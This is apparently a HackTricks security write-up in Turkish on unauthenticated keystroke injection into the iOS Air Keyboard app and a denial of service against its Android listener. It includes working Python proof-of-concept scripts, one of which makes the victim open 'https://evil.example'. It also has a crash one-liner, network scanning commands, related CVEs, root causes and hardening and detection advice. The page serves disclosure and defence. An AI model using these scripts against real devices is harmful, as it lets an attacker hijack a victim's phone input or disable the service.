Air Keyboard Remote Input Injection (Kimlik Doğrulaması Olmadan TCP / WebSocket Dinleyici)
Reading time: 6 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
TL;DR
Ticari “Air Keyboard” uygulamasının iOS versiyonu (App Store ID 6463187929), herhangi bir kimlik doğrulama veya kaynak doğrulaması olmadan tuş vuruşu çerçevelerini kabul eden bir yerel ağ hizmeti sunmaktadır. Yüklenen versiyona bağlı olarak hizmet ya:
- ≤ 1.0.4 – port 8888 üzerinde 2 baytlık bir uzunluk başlığı bekleyen ham TCP dinleyici, ardından bir device-id ve ASCII yükü gelir.
- ≥ 1.0.5 (Haziran 2025) – WebSocket dinleyici, aynı portta (8888) JSON anahtarlarını ayrıştırır, örneğin
{"type":1,"text":"…"}
.
Bu nedenle, aynı Wi-Fi / alt ağdaki herhangi bir cihaz, kurbanın telefonuna keyfi klavye girişi enjekte edebilir ve tam uzaktan etkileşim ele geçirme gerçekleştirebilir. Bir Android sürümü port 55535 üzerinde dinlemektedir. Zayıf bir AES-ECB el sıkışması gerçekleştirir, ancak oluşturulmuş çöp veriler hala OpenSSL içinde işlenmemiş bir istisna oluşturur ve arka plan hizmetini çökertir (DoS).
Güvenlik açığı yazım tarihi itibarıyla (Temmuz 2025) hala yamanmamıştır ve uygulama App Store'da mevcut olmaya devam etmektedir.
1. Hizmet Keşfi
Yerel ağı tarayın ve uygulamalar tarafından kullanılan iki sabit portu arayın:
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
Android cihazlarda sorumlu paketi yerel olarak tanımlayabilirsiniz:
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
On jailbroken iOS üzerinde lsof -i -nP | grep LISTEN | grep 8888
ile benzer bir şey yapabilirsiniz.
2. Protokol Detayları (iOS)
2.1 Eski (≤ 1.0.4) – özel ikili çerçeveler
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
Açıklanan uzunluk, device_id
baytını ama iki baytlık başlığı içermez.
2.2 Mevcut (≥ 1.0.5) – WebSocket Üzerinden JSON
Sürüm 1.0.5, port numarasını değiştirmeden WebSocket'lere sessizce geçiş yaptı. Minimal bir tuş vuruşu şöyle görünür:
{
"type": 1, // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}
Hiçbir el sıkışma, token veya imza gerekmiyor – ilk JSON nesnesi zaten UI olayını tetikliyor.
3. Sömürü PoC
3.1 Hedefleme ≤ 1.0.4 (ham TCP)
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("[+] Injected", keystrokes)
3.2 Hedefleme ≥ 1.0.5 (WebSocket)
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
import json, sys, websocket # `pip install websocket-client`
target_ip = sys.argv[1]
ws = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")
Herhangi bir yazdırılabilir ASCII — satır sonları, sekmeler ve çoğu özel tuşlar dahil — gönderilebilir, bu da saldırgana fiziksel kullanıcı girişi ile aynı gücü verir: uygulamaları başlatma, anlık mesaj gönderme, kötü niyetli URL'leri açma, ayarları değiştirme vb.
4. Android Companion – Hizmet Reddi
Android portu (55535), hard-coded AES-128-ECB anahtarı ile şifrelenmiş 4 karakterli bir şifre ve ardından rastgele bir nonce bekler. Ayrıştırma hataları AES_decrypt()
fonksiyonuna yükselir ve yakalanmaz, dinleyici iş parçacığını sonlandırır. Bu nedenle, tek bir hatalı paket, sürecin yeniden başlatılana kadar meşru kullanıcıların bağlantısının kesilmesi için yeterlidir.
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
5. İlgili Uygulamalar – Tekrarlayan Bir Anti-Model
Air Keyboard izole bir durum değildir. Diğer mobil “uzaktan klavye/fare” araçları da aynı hatayla piyasaya sürülmüştür:
- Telepad ≤ 1.0.7 – CVE-2022-45477/78 kimlik doğrulaması yapılmamış komut yürütme ve düz metin tuş kaydı iznine sahiptir.
- PC Keyboard ≤ 30 – CVE-2022-45479/80 kimlik doğrulaması yapılmamış RCE & trafik dinleme.
- Lazy Mouse ≤ 2.0.1 – CVE-2022-45481/82/83 varsayılan-şifre-yok, zayıf PIN brute-force ve düz metin sızıntısı.
Bu durumlar, mobil uygulamalardaki ağ yönlü saldırı yüzeylerinin sistematik bir ihmalini vurgulamaktadır.
6. Temel Nedenler
- Gelen çerçeveler üzerinde kaynak / bütünlük kontrollerinin olmaması (iOS).
- Kriptografik kötüye kullanım (statik anahtar, ECB, uzunluk doğrulamasının eksikliği) ve istisna işleme eksikliği (Android).
- Kullanıcı tarafından verilen Yerel Ağ yetkisi ≠ güvenlik – iOS, LAN trafiği için çalışma zamanı onayı talep eder, ancak bu uygun kimlik doğrulamanın yerini almaz.
7. Güçlendirme ve Savunma Önlemleri
Geliştirici önerileri:
- Dinleyiciyi
127.0.0.1
adresine bağlayın ve uzaktan kontrol gerekiyorsa mTLS veya Noise XX üzerinden tünel açın. - Cihaz başına gizli anahtarlar türetin (örneğin, QR kodu veya Eşleştirme PIN'i) ve girişi işlemden önce karşılıklı kimlik doğrulamasını zorunlu kılın.
- Apple Network Framework'ü NWListener + TLS ile ham soketler yerine benimseyin.
- Çözümlerken veya çerçeveleri çözerken uzunluk ön ek kontrolü ve yapılandırılmış istisna işleme uygulayın.
Mavi/Kırmızı Takım hızlı kazanımları:
- Ağ avı:
sudo nmap -n -p 8888,55535 --open 192.168.0.0/16
veya Wireshark filtresitcp.port == 8888
. - Çalışma zamanı denetimi: Beklenmedik dinleyicileri listelemek için
socket()
/NWConnection
'ı yakalayan Frida scripti. - iOS Uygulama Gizlilik Raporu (Ayarlar ▸ Gizlilik & Güvenlik ▸ Uygulama Gizlilik Raporu) LAN adresleriyle iletişim kuran uygulamaları vurgular – sahte hizmetleri tespit etmek için faydalıdır.
- Mobil EDR'ler, port 8888 üzerindeki düz metin TCP yüklerinde
"selectionStart"
,"selectionEnd"
JSON anahtarları için basit Yara-L kuralları ekleyebilir.
Tespit Kılavuzu (Pentesterlar)
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 " " $4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
Referanslar
- Exploit-DB 52333 – Air Keyboard iOS Uygulaması 1.0.5 Uzaktan Girdi Enjeksiyonu
- Mobile-Hacker Blog (17 Tem 2025) – Air Keyboard iOS Uygulamasında Hala Yamanmamış Uzaktan Girdi Enjeksiyonu Açığı
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.